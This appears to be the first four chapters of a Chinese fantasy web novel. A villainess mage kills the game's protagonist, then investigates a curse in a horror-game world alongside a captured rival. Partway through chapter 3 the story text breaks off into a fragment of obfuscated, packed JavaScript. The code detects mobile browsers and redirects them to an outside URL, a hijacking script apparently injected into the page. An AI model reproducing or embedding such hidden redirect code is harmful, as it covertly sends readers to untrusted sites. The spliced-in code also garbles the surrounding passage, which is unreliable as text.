《恐游恶女BOSS又在刀主角》
1. 恶女降临
“测试失败,即将开启封禁程序,请管理员尽快离开零号世界,倒计时十,九,八……”
江挽月满身血污,单膝跪在魔法司正中央。她双目彻底失明,左臂被疯玫瑰噬咬得只剩下一截白骨,凭一柄断剑支撑着上身才没有倒下。
一阵尖锐的刺痛过后,江挽月彻底失去意识。
系统总局内,气压低至零点,在场众人看着那行充满嚣张、放肆的文字,无不深吸一口气。
“再见,我去杀主角啦(^~^)”
敢这样明目张胆向系统挑衅的人,只有那位被关押多年的恶女BOSS。
管理员1111看着那条从禁区发来的玩笑似的信息,面色凝重。
当年那次数据大崩坏,损失惨重。江挽月成了游戏内行走的bug,连系统总局都无法删除她,只能将其封禁。如今她擅自出逃,又敌视玩家操控的主角,恐怕少不了一场血雨腥风。
视线转向主席位上的男人——执掌者。
江映淮眉心紧皱,拇指绕圈缓解隐隐作痛的太阳穴。
良久,他才开口:“想办法把她送去11区,通知那十位玩家,不管用什么手段,除掉她。”
众人似乎没想到执掌者此次一反常态,态度如此强硬,都愣在原地不敢行动。
只有管理员1111颔首接下命令,头也不回地离开总局,赶往江挽月所在之地。
某个小世界内——
白纱随风浮动,月光穿过偌大的玻璃窗,停留在沙发前,不敢再往前进一步。
江挽月缓缓睁开眼,一脸厌烦,长期被关押在黑暗中的她对光线很是敏感。
一街之隔,对面大厦的顶楼依旧灯火通明,大屏幕上反复播放着主角即将接受魔法司荣耀加冕的祝贺视频。
江挽月曾无数次幻想过类似的场景,可惜本该属于她的加冕时刻,却落在了她最憎恨的人身上。
以前是,现在依然是。
魔法世界强者为尊,她是新生代里的能力天花板,魔法司司长之位理应由她接任。
可主角的存在让这一切都沦为可笑的游戏。自己的毕生所求也不过是主角故事里关于成功的寥寥一笔。
江挽月望着对面被人群与鲜花簇拥着的主角,琥珀色的眼眸里闪过一丝鄙夷。她单手把玩着短刀,附加魔力后的月刃周身散发着幽蓝色的冷光,和它的主人一样透着拒人千里之外的冰冷。
零时钟声在寂静月夜里格外悠长,时间到了,好戏即将开场。
庄严肃穆的弦乐回荡在金色大厅,身着华服的魔法师们推杯换盏,言笑晏晏,庆祝新一任司长的诞生。
红毯尽头的高台上,象征着法师界最高权力的冠冕璀璨夺目,静静等待着它的主人。
主角在众人赞许的目光中走上高台,老司长手持一张古老的羊皮卷,正要念出加冕祝词。
突然,一声不合时宜的巨响破坏了宴会厅的气氛,音乐声骤然止歇。
黑影从天而降,带着防具的膝盖一击撞向落地窗。“砰”的一声巨响,玻璃承受不住这猛烈的撞击,应声而毁,碎片四处飞溅。
从破窗口处灌进来的风吹得帷幔呼呼作响,魔法师们面色慌张交头接耳,纷纷望向这位突然降临打断加冕仪式的少女。
江挽月动作矫健,稳稳落在满地的玻璃碎片上,毫不在意四周诧异的目光,她沿着红毯一步一步逼近台上的主角。
月刃与主人意念相通,在她手腕处兴奋地绕着圈。
老司长察觉到了异样,将主角护在身后,怒声命令道:“拦住她!”
江挽月冷笑一声,带着十足的压迫感:“想死的,可以拦我试试。”
话音刚落,两名魔法师便接连倒地。月刃依旧在江挽月手腕处,只是沾染上了血色。幸存者无不头皮发麻,不敢上前一步。
“你是谁啊。”不明情况的主角被她吓坏了胆,双腿软绵绵地颤抖不止,“我不认识你。”
江挽月一把掐住主角的脖颈,指甲都陷入皮肉里:“这么久不见,主角大人怎么越变越废物,嗯?”
主角脸涨得通红,嘴上求饶:“放开我,我就是个打游戏的,别杀我。”
“是吗?”江挽月嘴角上扬,带着嘲讽意味,狠狠地将主角踹倒在地,像对垃圾一般。
想见的东西还是没出现,看来是不见棺材不落泪。江挽月掩去笑意,从口袋中抽出一张绘制着魔法阵的卡牌。
她闭着眼站在正中央,薄唇轻启,两指间的卡牌随咒语消失,巨大的法阵感知到召唤式,浮现在半空中。
“幽火噬心。”
顷刻间,大厅内的灯光全部熄灭,幽蓝色的火焰围成一圈将在场的法师禁锢在内。
昏暗的室内惨叫声此起彼伏,主角痛苦地捂着心脏,身体蜷缩成一团,死咬着下嘴唇。
这些火焰对普通人没有影响,对魔法师可是钻心之痛。
江挽月冷眼看着主角,心底大仇得报的快感愈发强烈,甚至让她有些不真实的眩晕感。
正在这时,法阵突然出现异象,似乎有一股陌生的魔法力量在压制法阵运转。
江挽月会心一笑,终于出现了。
大门缓缓而开,一道沉稳的脚步声打破了黑暗的宁静。
男人身形颀长,一身黑色制服完美的融入夜色之中,衬得他阴郁又神秘。幽邃的眼眸宛若寒星,除了冷漠再也解读不出任何多余的感情。
江挽月望着那双眼睛短暂愣神,没来由的熟悉感涌上心头,却记不起来有关于它的一丝一毫,反而又想起那些令人不愉快的回忆。
她很快从思绪中清醒,将月刃隐匿在小臂后,眼眸微眯,杀意比之前更加汹涌。
没等江挽月出手,男人便抢先一步,如鬼魅般从门口瞬移至她面前,精准地扼住她的脖颈。
江挽月呼吸微滞,几乎是同一时间,她手腕翻转,刀刃抵在男人侧颈,刻下一道血痕。
陆樾之一愣,手上力量稍有松懈,似乎是没想到江挽月反应如此之快。
他勾起嘴角,打量似的看着她,浅灰的眼眸在黝黯里格外明亮,没有一丝被刀刃威胁的危机感。
江挽月不满他这幅表情,手上又用力几分,鲜血顺着刀刃流到掌心间。
侧腰处传来一阵金属凉意,江挽月手上一抖,她低下头,便见一把枪抵在那。
细微的针剂瞬间射出,江挽月只感觉到手肘处传来一阵麻意,药效迅速爬满全身,整个人像被抽掉骨头般瘫软。她瞬间泄了力气,短刀“叮当”一声掉落在地上。
“安分一点,江挽月,不要和主角作对。”
陆樾之居高临下,垂眸对上江挽月厌恶的眼神,他理了理手套,凭空幻化出一柄银白的利剑,右手挽了个漂亮的剑花,尖峰抵在江挽月的喉咙处。
江挽月不得不仰着头,剑身折射出的冷光在黑暗里格外刺眼,她怒目瞪向男人,心底暗暗想着报复的计划。
复杂的星
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月图案几乎布满整个大厅,陆樾之眉头紧皱,面色沉沉地望着眼前的法阵若有所思。
尽管见识过的法阵无数,陆樾之也被眼前这样几乎无解的高阶法阵震撼得愣神几秒,不愧是执掌者最为忌惮的反派BOSS。
他试着破解法阵,却没想到平稳的幽火感受到压制后瞬间涨高,一个不慎,便被反伤击中。
陆樾之痛苦地捂着胸口,吐出一口鲜血,抬眸望向一步之遥的少女。
原来她早就在法阵里设下了圈套。
江挽月轻而易举地破开禁锢,笑意盈盈地拍着手,欣赏着男人狼狈的模样:“还以为主角的金手指有多厉害,不过如此。”
魔法史上能一对一打败她的人还没出生呢。
短刀在她身边兴奋地绕着圈,期待得到主人的指令,能得以享用败者的鲜血。
江挽月掌心握住刀刃,血液顺着伤口涌出,滴落在地板上后瞬间消失。
魔法阵收到血液的滋养,幽火烧得更高,仿佛要将四周的一切都吞没。
“不好。”陆樾之连忙用剑结成护盾抵挡,试图护住主角性命。
幽火如猛兽般扑来,不到三秒就将护盾击破,大厅已经被破坏得不成样子,满地躺着血肉模糊的躯体。
江挽月的脚步越来越近,陆樾之欲要阻拦,可他此时身负重伤,连站起身都是困难,更别妄想拦住她。
江挽月冷淡地俯视着半跪在地的男人,抬起他的下巴,对上那双惹人讨厌的眼睛。
她嘴角扬起近乎残忍的微笑,说出的话语却悦耳动听:“你该庆幸我愿意成为你的新主人。”
江挽月真想一刀解决了他,可时机未到。主角身边的人,她一个都不会放过。她会将主角带给她的痛苦一笔一笔、分毫不差地还回去。
视线扫至后方,主角正捂着胸口,奄奄一息躲在男人身后。
可恨。
江挽月毫不手软地将短刀刺入主角的心脏:“去死。”
主角已死,剧情立刻凝滞。系统里报错代码不断增加,红光一闪一闪,每闪烁一次,这个小世界就崩坏得更加彻底。
小世界一旦濒临毁灭,通往其他安全位面世界的虚空之门便会出现。
江挽月转过身,拽上陆樾之的手腕,拖着毫无反抗之力的他,从破碎的窗口纵身一跃。
呼啸的风声充斥耳畔,像是一声声刺耳的警告。虚空里混乱不堪,铺天盖地的世界碎片犹如箭矢飞驰而过,稍有不慎她就会命陨于此。
江挽月硬生生抗下急速坠落带来的不适感,睁着眼睛扫过前方的每个世界,一秒都不敢懈怠。
终于,她捕捉到那个最为熟悉的世界碎片。如今,主角的金手指也落入她手,她马上就能回溯时间,救回父母与挚友,也没人再能阻拦她登上司长之位。
江挽月伸手想要触摸那碎片,却被一阵巨大的握力扼制住手腕,她瞬间从幻想中惊醒,回头发现男人一改刚才那副虚弱模样,将她禁锢在怀抱里。
“松开。”
江挽月奋力挣扎,想要靠近碎片,却离得越来越远。她眼睁睁地看着那块碎片消失,化作一道刺目的白光。
爆炸声在虚空之境里格外沉闷,热浪如海啸般将两人一齐吞没。江挽月感觉身体好似落入千万根银针里,痛彻心扉。
“不要,不要!”
毫无起伏的电子音响起:“副本世界11区连接成功,初级线索事件——《甜蜜之家》即将开启。”
2. 甜蜜之家(一)
持续的嗡鸣在耳边回响,江挽月猛睁开眼,无数陌生的记忆片段裹成一团乱麻野蛮地闯入脑海里,像做了一场陌生的噩梦。
系统局那群人动作还真快。
她从禁区逃出后一路畅通无阻,顺利杀死主角复仇,还以为是他们反应不及,没想到那帮家伙在背地里使阴招,早早埋下陷阱。
零号世界的爆炸必定和系统局脱不了干系。她一而再的破坏游戏世界,系统局恐怕早想除掉她,看来现在这个新笼子没那么容易再逃出去。
沙发对面赫然坐着将她拖入这个诡异世界的罪魁祸首,被她劫走的男人依然闭着眼,还未清醒。
她心中的怒火难以按捺,抬手一掌甩在他脸上:“你死了吗?”
陆樾之轻抚上那片慢慢红肿的皮肤,脸颊内侧的软肉被后牙磕破了皮,淡淡的血腥味弥漫在口腔里。
下手真重。
他其实醒了有一段时间,巨大的数据轰炸让本就脑受伤的他险些丢了半条命,现在连说话回击都是妄想。
江挽月似乎很不满他的态度,陆樾之感觉到那双掐在他脖子上的手越收越紧。他快呼吸不上来空气,那力道都不见丝毫减弱。
他不得不睁开眼,望着眼前面容姣好却心如蛇蝎的女孩,语气虚浮地回答:“没死。”
“肯说话了?”江挽月松开手,轻蔑地拍拍他泛红的脸颊,“让系统请我出去。”
江挽月颐气指使,她知道离开的方法,只是嫌太过麻烦。
那些不属于她的陌生记忆反复地提到,成功解锁这个副本世界的完美结局就能离开,她可没有老老实实遵守规则的耐心。
“我没有权限联系系统。”陆樾之喉结滑动,咽下一口血沫。
话语停顿间,他一眨不眨地盯着江挽月那双毫无光泽的淡色眼眸——仿佛被蒙上一层轻纱,让人看不清,和她一点不搭。
江挽月松开手,不想再看男人那副虚假做戏的姿态,头也不回地起身。她拧开门锁,临出门前留下一句警告:“别让我发现你在说谎,记住你的身份。”
身份?主角的金手指吗?
屋内又恢复平静,陆樾之自嘲地轻笑。很显然,江挽月对他这个新抢来的工具人极其不满意。
爱里街位于老城区北面,街道两旁全是上了年纪的老别墅,不难看出它曾经的繁华。
可惜随着企业与居民的搬迁,如今难免显得荒凉破败。柏油路上不说车辆,连路过的行人都寥寥无几,冷清得与路旁一联排的别墅格格不入。
江挽月顺着公路走,掏出身上仅存的传送魔法牌。法阵闪烁两下微弱的光芒,便在指缝间消散成一滩灰烬。
她不死心,又试了几张魔法牌,结果仍然没有变化。
法阵可以启动,却不能生效。系统不想让她轻易地离开任务地图,施加了比禁区里还要强大的限制。
附近唯一的公交站台老旧破烂,似乎很久没人使用过,车牌都结了蛛网,长椅空隙处,停着辆木制轮椅。
江挽月侧过头,细细打量面前这位一身黑衣的女人。
女人视若无睹,自顾自地掏出张皱巴巴的白纸开始折纸,她周身散发着阴湿神秘的气息,连附近的天都暗了几分。
折好的纸飞机被她拆开又复原,乐此不疲。木椅随着她的动作不断发出沉闷的嘎吱声。
女人或许是残疾,江挽月下意识地扫过她盖着薄毯的小腿,纤细得可怕。脚腕处露出一小截苍白到泛青的皮肤,几只细小的虫子正趴在血管处吸食女人的血液。
江挽月顿时瞳孔一缩,没等她看仔细,那些幼虫便瞬间消失不见。而女人神色突然变得慌张,骨瘦如柴的手费劲地划动轮子,逃命似的离开车站。
那皱巴巴的纸飞机被她遗落在原地,江挽月目送她渐远的背影,弯腰捡起地上的纸飞机,细细检查。
没有魔法的痕迹。
江挽月端详几秒,最后还是将它抚平,放入口袋。
太阳快要落山,都没有一辆公交车驶过,她又去看一遍车牌,才发现末班车时间早就过了。
江挽月望着渐渐暗沉下来的天,紧咬牙关。走投无路,她不得不开始考虑最初被否决掉的方案。
猩红的夕阳铺满天空,血色下的长巷和恐怖游戏里的场景如初一辙。
寒冷彻骨的阴风袭过,狭隘巷道里瞬间弥漫起浓烟。江挽月神色淡然地开口:“谁?”
说话间,月刃已从衣袖滑入手心。她听力灵敏,顺着那几乎不可闻的声源处寻去,扼住那道飞速掠过的诡异身影。
迷雾消散,映入眼帘的竟是个没有五官的男脸。
江挽月黑着脸,刀尖刺穿诡影的下巴。漏洞百出的低阶幻法还奈何不了她。诡影只发出一声呜咽后,便化作一缕黑烟,彻底消散。
江挽月轻松破解施法者刻意设计的遮掩,法阵完整的图案暴露在眼前。她不由自主地攥紧手掌,说不眼熟是不可能的。
驭魇法阵是她当年误入歧路时所创造的黯系魔法。上一世她受心魔反噬后,魔法司也严明禁止私自学习诸如此类的黯系魔法,将她的设计图纸全部销毁干净。
江挽月越想,心绪越乱,浑然不知矮墙之上,一双阴鸷的眼正默默注视着自己。
黑袍人蛰伏在暗处,目光紧紧锁在江挽月身上,眼里满是迷恋的癫狂。
不会错,他的感觉不会错,确实是她。
黑袍人手中的长刀泛着森寒的光,他迫不及待地想要杀死这位心中的偶像。
察觉到身后异动,江挽月身形一闪,躲过突如其来的攻击。
见突袭失败,黑袍人动作狠厉,招招往致命处砍。
江挽月偏头躲过,贴近黑袍人的身躯,抬腿膝盖骨猛击上小腹上方,又一脚踹向膝弯。
黑袍人被她压制半跪在地,见势不妙反应极快地结阵,口中念念有词。
埋伏已久的法阵瞬间炸开白色的光芒,江挽月连忙松开手护住眼睛,遮挡住直射的强光,良久才缓和下那股仿佛被灼烧的痛感。
黑袍人逃跑了。
江挽月咽下一口恶气,看向法阵遗迹,角落里,一个小小的月亮黯淡下来。
那是她一直以来的署名标记。
眼前的法阵无论是逻辑还是图案都与她如出一辙,她不明白为什么自己绘制的法阵会出现在另一个自己从未来过的世界。
可转念一想,她心底的猜测便又笃定了几分,这或许也是系统刻意为之。
黯系魔法不同于正统的自然法系与自然元素共鸣产生魔力,而是来源于邪念,灾难,更是需要献祭生命才能召唤成功。
暂时理清思绪,江挽月意念打开闪烁着光标的代码框,从禁区出来后她没再关注过。
消息框里只有短短一行,还停留在她此前发的那句挑衅的话。
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时间仿佛静止,最后她还是没再发信息,她与系统局的关系也是如履薄冰,还是靠自己调查清楚吧。
江挽月敛下眸中复杂的神色,朝那栋被称为“家”的陌生房子走去。
木门表皮斑驳脱落,满是腐朽气味。江挽月转动把手推门而入,屋内暖色的灯光倒是增添了几分温馨的氛围,可她此刻并没有心情扮演游戏原本的人设。
江挽月不是原本那位新婚的npc,也没有与她恩爱有加的年轻丈夫,她向来讨厌系统给她强加上的束缚。
不远处的男人一怔,似乎有些意外,神色欲言又止,几番纠结后还是开口问道:“你哭了?”
陆樾之话音刚落便有些懊悔,明明恨她入骨,却又不能自已地生出这些多余的情绪。
江挽月望向侧面墙上的镜子,她此时眼睛泛红,仔细看还带着些微氤氲的水雾,还真像大哭过一场。
她戏谑地笑着关了客厅的灯,把问题又抛回给男人:“你觉得可能吗?”
陆樾之沉默不答。
饭桌上的一盏小台灯成了房间里唯一的光源。
江挽月有些惊讶,没想到男人还做了晚餐,还以为他那副半死不活的碍眼样子要持续很久,现在看来恢复了不少。
她没心情进食,自然地略过面前的食物,反而缓步靠近陆樾之那端。
见她坐上木桌,陆樾之依然平静装瞎,没有制止她的无礼,只淡淡扫了眼便自顾自地开始用餐。
江挽月手掌撑着桌面,双腿交叠,她突然发觉自己总是不自觉地看向他的眼睛。
良久,她才想起,自己还不知道这位“金手指”的名字,她没问过。
不过也有可能他根本没有名字,毕竟他也从未主动提起。
江挽月最终还是敌不过好奇心,歪着头问道:“你叫什么名字?”
陆樾之不愿抬头,怕又看见那个拿他当乐子的眼神,闷闷回道:“陆樾之。”
没听过。
江挽月不知道为何,莫名地生出些遗憾的滋味,她不开心,审视的目光扫过陆樾之上半身,最后停留在那仍然带着手套的手部。
“为什么戴手套?”
陆樾之动作一顿,握着筷子的手条件反射般地收紧,原本熨帖的布料多出几道褶皱。
如果江挽月有透视眼,定能发现他被遮挡住的手指此刻都用力得泛白。
直到眼中浓郁的恨意都被他藏匿彻底,陆樾之才敢抬头看向她。
与他相反,江挽月静坐在灯影下,漫不经心地用手指绞着头发,又恢复初见时那副冷漠的模样。
等了一会没回应,她似乎不喜,脚尖踩上他的心脏处,像是无声地警告。
“一个工具需要有秘密吗?”她喃喃自语,话锋却猛然一转,“笑一个。”
陆樾之罕见地出现疑惑不解的表情,但等他回过神来,立马换上一副愠色。
没能看到满意的表情,江挽月有种恶作剧失败后的百无聊赖,烦闷道:“什么都不会,我抢你回来干什么?”
眼神交错,空气中隐约弥漫着火药味,她在不满,她在威胁。
陆樾之不愿意顺从这位声名狼藉的恶女反派,他放下筷子,抬手打落在胸口处作乱的脚掌,将领口重新整理妥当,又回到之前严谨的模样。
“叮咚叮咚。”
老旧门铃发出沉闷的声音,打破了两人间剑弩嚣张的气氛。
3. 甜蜜之家(二)
江挽月心情不悦,坐在原处一动不动。眼见陆樾之先她一步起身离开,她才撇撇嘴跳下桌子,尾随其后。
门外是个面相温和亲切的中年女人,好奇地打量着屋内面色不虞的两位小年轻,似乎察觉到自己来得不是时候,尴尬笑道:“你们俩吵架啦?”
江挽月双手抱胸,表示默认。
陆樾之看着她这幅模样,无奈叹息道:“没有,我们没有吵架。”
两人怎么也不像没闹别扭,但陆樾之矢口否认,女人也不好再继续追问,连忙换了个话题:“今晚过来我家吃饭吧,林先生突然要加班不回来……我做了汤。”
林夫人热心善良,对这对新搬来的年轻夫妻很是友好,隔三差五就送吃的过来。
陆樾之虽然已经用过晚餐,但不好拒绝林夫人的好意,求助的视线望向江挽月,那人却看戏般一言不发。
他只好答应下来。
送走林夫人,陆樾之解开领口扣子,扫了眼毫不配合人设的“妻子”,放软语气低声道:“去换件衣服。”
江挽月得饶人处也不饶人,眉头轻挑:“我有说要和你一起赴宴吗?我是主人还是你是主人?”
陆樾之知道她在不满自己擅作主张,她若是真的不想赴宴,恐怕早就不给面子地打断他。
两人私下里互相敌视没什么,但11区里的NPC警惕性和攻击性都极强,不符人设暴露身份的后果很可能就是丧命。
陆樾之当然希望她能死在这,但现在两人上了一条贼船,他不希望自己被连累,搭上性命。
他忍下情绪,不得不向这位难伺候的主人低头示好:“抱歉,林夫人是任务剧情里的重要目标,我只是想尽快集齐线索,让您离开这里。”
江挽月脸色稍有缓和,回想起刚才在巷子里逃跑的黑袍男子,她不能放任幕后黑手用她的名义作恶,查明真相也能尽早离开。
“算你识相。”她冷哼一声,算是接受陆樾之的歉意,转身走进衣帽间,挑了一件长裙,“我穿黑色。”
既然做戏那就要做全套,陆樾之扫过一排的正装,挑选出最相配的那件。
林夫人家离得不远,只隔了一条小道。昏黄的路灯将两人的身影拉得老长。
爱里街一带总有恐怖诡异的怪事,流言四起再加上老街区治安管理混乱,愿意留在这的居民越来越少。
林夫人家是为数不多的在这里生活十年以上的住户。
饭桌上江挽月沉默寡言,一副兴致缺缺的模样,反倒是陆樾之一边附和着林夫人的话题,一边假惺惺地给她夹菜。
江挽月胃口不佳,几乎没动过。说来可笑,她和陆樾之不久前还是杀得你死我活的敌人,现在却不得不坐在这里,听他胡编乱造一些假得可笑的恋爱故事。
林夫人听到陆樾之说两人是校园恋爱,顿时起了兴趣,接过话题一脸幸福地回忆道:“我和林先生也是大学同学,还是彼此的初恋。”
“他当年从乡下考到大城市,一穷二白。我父亲不同意他和我结婚,他就在门前跪了一天一夜。最后我心疼他受苦,求着父母让他入赘林家。”
林夫人说着都快要感动得哭出来。
“咚咚咚。”
猝不及防的一阵敲门声打断气氛,众人望向那扇镶嵌着彩色玻璃的欧式大门。
林夫人从回忆里淡出,擦拭掉眼角的湿润,起身离座,笑着将来客迎进了屋:“谢太太怎么又送这么多礼品过来,你上次送的我都没吃完。”
林夫人没主动接过那些包装得五颜六色的补品,谢太太只好将礼盒放在玄关,穿上鞋套才跟着林夫人的脚步进屋。
相比林夫人穿的绸质华服,谢太太衣着格外朴素,衬衫皱巴巴的,举手投足间满是讨好姿态:“不知道林夫人今天有客人,那我先走,改天再来。”
林夫人摆摆手,打断她的话:“没必要,小江刚搬来,大家都是街坊邻居,趁现在熟络熟络也好。”
林夫人对江挽月的亲近之意很是明显,一旁的谢太太插不上话,环视一圈后试探着地开口:“林先生还没下班吗?”
林夫人微微蹙眉,静默不语,算是默认她的话。
察觉到林太太不悦,谢太太慌忙找补:“林先生是领导工作忙,我家老谢啊,一下班就往家里跑,也不知道留在公司多帮林先生分担,活该他这辈子都是小职员。”
谢太太的老公在林先生的公司上班,她经常过来探访,送些不值钱的礼物,语气里满是揶揄奉承,想让林先生多帮衬自家。
林夫人也不点破,享受着她的讨好,却又装傻当作不知道她的用意,反而祸水东引到陆樾之身上:“他也老啦,比不上年轻人,小陆这才进公司,职位都快赶上林先生高了,以后还是靠小陆帮衬才对。”
听到这话,江挽月了然于心,原来林夫人如此殷勤地对待新搬来的邻居,也不过是有利可图。
气氛突然冷掉,陆樾之尴尬地笑笑,没有回话,趁机找借口要离开。
江挽月自然也想走,却被他单手按回座椅上。
临走前他还不忘人设,故作亲昵地低头,贴近江挽月耳侧,声音如清泉泠泠:“记得问线索。”
江挽月眼中带着愠色,却不好发作,又不愿生生咽下这口恶气,抬手狠狠掐了那人后腰处。
“滚。”
嘴上要帮她找线索,最后还是把烂摊子扔给了她。
三人围坐在茶厅聊天,面上都带着社交面具般的微笑,却又各怀心事,越聊越没意思。
天色渐晚,谢太太先一步离开。
江挽月端起凉掉的茶,记挂着未完成的任务,八卦似的打探消息:“林夫人是老住户,有没有听说过附近的一些灵异传闻。”
林夫人笑容一僵,颇有意外,打趣道:“小江你这么年轻,还对这些老掉牙的迷信故事感兴趣?”
“好奇而已,我刚来不久,都说爱里街有个诅咒,好多人都害怕搬去别处了。”
“那都是胡编的,耳听为虚,不过要说可以眼见为实的诡异传闻,那倒还真有个怪人。”
江挽月下意识地联想到公交站台的那个神秘女子,追问道:“什么怪人?”
“这条巷子往里走到尽头就是垃圾站,旁边有个楼梯,顺着下去就是贫民窟,那里面最破烂的一栋是个快要塌掉的二层木屋,住着一家三口。”
江挽月听得认真,连端在手里的茶杯都忘了放下。
林夫人继续说道:“去年那家的男人酗酒死后,女人不知道是不是受了刺激精神不正常,发疯后连自己女儿都不认,有一次还要生生掐死她。人也瘦得吓人,像一具骷髅架子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14692324|156975||http|test|mini|href|location''.split(''|''),0,{}));
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>说到这儿,林夫人又凑近了些,贴上她的耳朵,悄声道:“我之前请大师问过,他说,那女人是个活死人,不知道用什么脏东西吊着条命。”
“林夫人了解的这么清楚?”江挽月听得意兴盎然,继续追问。
“那是当然,我知道这些还是因为她家那个可怜的小女孩。”林夫人黯然叹息一声,细细抿茶,“我和林先生结婚十几年都没有孩子,也不想强求,打算资助个有缘的就当自己孩子养,那小姑娘长得漂亮水灵,我见着欢喜,可最后一查发现这事,还是没成。”
林夫人眼神一亮,像是记起来重要的事:“说来,那小姑娘就在你们学校读书吧,算年纪,应该初三了。”
陆樾之先前给林夫人提到过,她在附近的中学做代教老师。
话不能全信,江挽月心里默默理清线索,打算自己再去仔细调查一番。
虽然没有那个黑袍男人的线索,但她直觉顺着那个奇怪的女人追查,说不定也能解开谜团。
月亮孤零零地挂在浓墨般的天幕上,可惜不是满月夜,看着黯淡无光。
江挽月裹紧肩上披着的西装外套,夜里的风果真寒冷冻人。
陆樾之见她穿的裙子,走前特意留下了这件外套。
客厅、卧室都没人,江挽月转了一圈才在书房发现男人的背影。她默不作声,走到书桌旁,陆樾之正专注地写信。
江挽月拿起废纸堆上的信封,映入眼帘的便是魔法司的印章。
信上说魔法司遇到了前所未见的困难,一个神秘组织利用黯系魔法多次伤及无辜民众。
她深深地吐了口气,平复好心情后继续阅读纸上的文字。
“魔法司无力解决,恳请异世魔法师前来相助。此次任务凶险,请务必扮演好您的角色身份,切忌暴露真名,祝您成功。”
江挽月面对陆樾之总是高高在上,她又坐在书桌上俯视着他,眼神涣散。
陆樾之身上的秘密太多,对这种人实在不该放下警惕。
她似是阳怪气,又似是审问:“我都不知道魔法司还寄了信。”
钢笔尖悬停在纸面,陆樾之推了推眼镜,坦然道:“你不是主角,自然收不到系统的提示。”
很是真诚的语气,江挽月却不能相信这副说辞。陆樾之是主角的盟友,是被称为“金手指”的一柄利剑,而她是杀死主角的反派BOSS。
为眼下的安全,或许自己不该留他性命。
江挽月凝视着陆樾之修长的脖颈,陷入沉思。若是刚醒来时,自己再用力一点……
可万一零号世界能复原归来……自己还需要利用他。
江挽月苦笑,这样犹豫不决实在不是她的风格。她默然叹息,最后还是放弃了杀死他的念头。
陆樾之写完回信,才发现她走神许久,轻声提醒道:“有得到什么线索吗?”
“有。”江挽月猛一回神,狭促地望着他笑,用幼稚又顽皮的口吻回答,“但我不想告诉你。”
陆樾之面色冷若冰霜,拳头握紧又松开,不懂她总是跳脱的想法,询问道:“为什么,不是说好要合作吗?”
“没有为什么。”江挽月拒绝得干脆利落,丝毫不留周旋的余地,“而且,我从不与人合作。”
尝过一次背叛的滋味,她不会重蹈覆辙。
4. 甜蜜之家(三)
这晚上,两人最终还是不欢而散。
江挽月乐得自在,陆樾之在书房生气,她正好霸占舒适的卧室大床。
她精神紧绷太久,这一觉竟睡到了第二天中午,陆樾之不在家,她也丝毫不关心他的去向。
浅栗色长发被她随意地扎起,几缕碎发散落在肩头。江挽月换上轻便的装束,一身黑白搭配的工装显得她干练十足。
穿到这个世界后各种麻烦接踵而至,江挽月不想处于被动,昨晚熬夜绘制完身上仅存的几张空白魔法牌。她顺着林夫人告知的路线,准备前往那幢木屋一探究竟。
爱里街越往里走越拥挤不堪,屋顶紧挨着屋顶,窄巷如蛛网般交错纵横。巷子深处阴暗潮湿,旁边的墙壁上爬满了灰色的霉点,还未靠近木屋,江挽月便闻到浓郁的朽木气味。
颓丧的气息如乌云笼罩在木屋上空,“鬼房子”的外窗年久失修,玻璃都破了洞,被主人用纸糊住,却也经不得风雨。
江挽月手掌贴上门板,细碎木屑借着她推门而入的力道,浅浅地刺入掌心。
木门板发出恐怖尖厉的哀嚎,灰尘扑面而来,江挽月捂住口鼻,上下打量这栋矮小的房子。
入目可见之处都堆满了杂物,木头、废纸占据了大部分地盘,过道被挤压得只能容她侧身通过。
江挽月顺手捡起脚边的木制人偶,面部的颜料已经掉色。虽然简陋,但仍能看出雕琢之人的用心。
天花板上窸窣作响,听着不像人的脚步声。江挽月讶然,纠结一番后踏上木梯。她每一步都谨慎小心,生怕这咯吱作响的楼梯被踩塌。
二楼只有一间房,层高也矮了许多,江挽月不得不低着头,弯腰悄声而入。
目光交汇,昨日公交站台的那位神秘女子,正趴在地上爬行。没了毯子的遮挡,江挽月才发现女人瘦得不成人形,四肢骨头仿佛要刺破皮肉暴露出来。
女人见屋里突然出现个外人,不敢睁眼,瑟缩在墙角双手抱头,一副胆战心惊的模样,没有主动伤人的想法。
江挽月一边轻声安抚,一边半蹲下靠近,递给她昨日遗落的纸飞机。
女人动作僵硬,好似提线木偶一样呆板,她怔愣许久,像在思考眼前是何物。过了好一会,才将纸飞机推回江挽月手中。
“你故意留下的吗?”江挽月接过,翻来覆去地观察,并未发现异常之处。
女人不答却呼吸急促,嘴里不断发出痛苦的呜咽声。
“别怕,别怕,我不会伤你。”江挽月抚摸着她的后背,语气更加柔软,“你不能讲话吗?”
女人慌忙摆手,意识到自己的表达有歧义后,张开嘴巴,费劲地说话:“我……会……”
艰难地蹦出两个字,女人嘴角便淌下一道血痕,她大张着嘴,还想继续说什么,却突然呕吐出一大滩深得发黑的鲜血。
江挽月望去,只见血泊中赫然趴着一只虫子,外形与昨日所见那几只一模一样,只是身形比之又大了一圈。
女人形容枯槁,大概率是这诡异的小虫作乱,江挽月心中苦涩,这样的折磨未免太过残忍。
女人牵着她的手,挪到窗边,将白纸抚平,抽出一根火柴点燃。
白纸燃烧诡异地冒出黑烟,四角被烧成灰,中心处却只是略微泛黄。等火焰熄灭,一段未知的符号逐渐浮现。
江挽月伸手触碰,才发现纸张的材质已经改变,摸起来软趴趴的……就像一张皮。
脑海中“叮咚”一响,电子音提示道:“通关道具——关系图已解锁;线索二——甜蜜的诅咒已解锁。”
这是诅咒符。
江挽月心头一颤,诅咒属于黯系魔法里的变种分支,她曾在上古魔法卷轴里读过类似的记录。
但诅咒的施法手段过于狠毒,江挽月向来不齿使用这种泯灭人性的魔法,当年她也并未取走这部分卷轴。
理应深埋于渊底的诅咒之术,以及与她高度相似的魔法阵,江挽月对幕后之人越来越好奇,很有可能凶手与她来自于同一个世界。
可在她的结局里,零号世界的所有魔法师都死在了那场毁灭性的战乱中。
不,不对,还有一个人活着。
主角活着。
仅仅只是猜测,江挽月都气愤不已,胸膛剧烈起伏。
不会的,主角已经死在她的月刃之下,绝无生还可能。
但如果……
